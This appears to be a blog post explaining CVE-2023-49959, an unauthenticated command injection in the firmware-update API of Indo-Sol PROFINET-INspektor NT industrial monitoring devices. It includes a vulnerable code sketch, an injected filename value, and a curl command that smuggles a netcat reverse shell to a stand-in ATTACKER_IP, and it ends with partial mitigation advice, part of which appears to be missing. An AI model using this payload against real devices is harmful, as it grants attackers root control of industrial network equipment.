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Recently, a dangerous vulnerability (CVE-2023-49959) was uncovered in the Indo-Sol PROFINET-INspektor NT series, specifically affecting firmware versions through 2.4.. This post will break down the vulnerability and exploitation in clear, simple English, making it accessible for engineers, security teams, and curious readers alike.

What is Indo-Sol PROFINET-INspektor NT?

The Indo-Sol PROFINET-INspektor NT is a network monitoring device widely deployed in industrial environments to supervise PROFINET-based communication. Its job is to check and analyze traffic, sending alerts when it finds problems. In industrial settings, the security of devices like this is critical—they often have deep access to sensitive networks and infrastructure.

The Vulnerability: Command Injection in gedtupdater

The trouble lies within a built-in service called gedtupdater. This service handles firmware updates and exposes a RESTful endpoint:

POST /api/updater/ctrl/start_update

The intention is for this endpoint to accept upload commands and process firmware update files. However, the implementation trusts user-supplied input—specifically, the filename parameter—in a dangerous way.

Vulnerability Summary:
Anyone who can send HTTP POST requests to this device (over the network) can inject system commands as root by sending a malicious value for the filename field. The vulnerable code executes the command unsafely, allowing attackers to run any system command with unrestricted privileges.

Exploit Mechanics: How Attackers Gain Root

Let’s take a look at how the vulnerability works with a simplified code snippet modeled after what the firmware may be doing:

# NOTE: This is not the real device code, but illustrates the logic

import os

def start_update(request):
    # Receives: {"filename": "myfile.img"}
    filename = request.json['filename']
    
    # Bad: directly inserting user input in shell command
    command = f"gedtupdate {filename}"
    os.system(command)   # Runs as root!

If a user sends

{
  "filename": "firmware.img"
}

It works as intended. But what if they send

{
  "filename": "firmware.img; id > /tmp/hacked.txt"
}

The os.system call becomes

gedtupdate firmware.img; id > /tmp/hacked.txt

The ; tells the shell to run a second command: id. Now, the output of id (which shows the user, i.e., root) is written to /tmp/hacked.txt. Substitute any Linux command and the box is pwned.

Here’s how an attacker could exploit this, using curl (a common command-line HTTP tool)

curl -X POST http://TARGET/api/updater/ctrl/start_update \
  -H "Content-Type: application/json" \
  -d '{"filename":"firmware.img; nc -e /bin/sh ATTACKER_IP 4444"}'

This payload injects a netcat reverse shell (if netcat is installed!). As soon as it's processed, the device will connect to the attacker's system, giving them a root shell.

Note: Many variations are possible—attackers could create new users, steal data, or destroy config files. It’s that dangerous.

Exploitation Conditions

- Network Access: The attacker must be able to reach the management interface (typically the device’s web API).
- No Authentication Needed: In at least some setups, the vulnerable endpoint is accessible without login!

Firewall and Segment: Never expose network management endpoints to untrusted networks.

3. Monitor Logs: Check for unusual API requests or unknown files/shells.

References & Further Reading

- Original Advisory (NIST NVD)
- Indo-Sol Product Page (Vendor Site)
- How Command Injection Works (OWASP)

Summing Up

CVE-2023-49959 is a classic but severe example of what can go wrong when user input is fed to system commands unsafely. If you manage Indo-Sol PROFINET-INspektor NT devices, act now—patch, lock down networks, and never assume these "appliances" are immune to attack. The risk is real and could mean instant root for attackers!

Timeline

Published on: 02/26/2024 16:27:47 UTC
Last modified on: 08/29/2024 20:35:39 UTC